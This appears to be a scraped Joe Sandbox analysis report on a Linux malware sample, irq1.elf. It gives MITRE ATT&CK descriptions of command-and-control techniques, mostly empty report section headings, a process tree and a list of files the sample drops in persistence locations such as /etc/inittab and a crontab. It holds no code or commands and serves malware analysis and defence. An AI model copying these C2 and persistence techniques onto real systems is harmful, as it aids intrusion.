Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report irq1.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/inittab

/etc/inittab2

/run/.x00740882966

/var/spool/cron/crontabs/tmp.yCJy74

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

IRC Packets

System Behavior

Analysis Process: irq1.elf PID: 5437, Parent PID: 5358

General

Chronological Activities

Analysis Process: irq1.elf PID: 5439, Parent PID: 5437

General

Chronological Activities

Analysis Process: sh PID: 5439, Parent PID: 5437

General

Chronological Activities

Analysis Process: sh PID: 5445, Parent PID: 5439

General

Chronological Activities

Analysis Process: touch PID: 5445, Parent PID: 5439

General

Chronological Activities

Analysis Process: irq1.elf PID: 5446, Parent PID: 5437

General

Linux Analysis Report
irq1.elf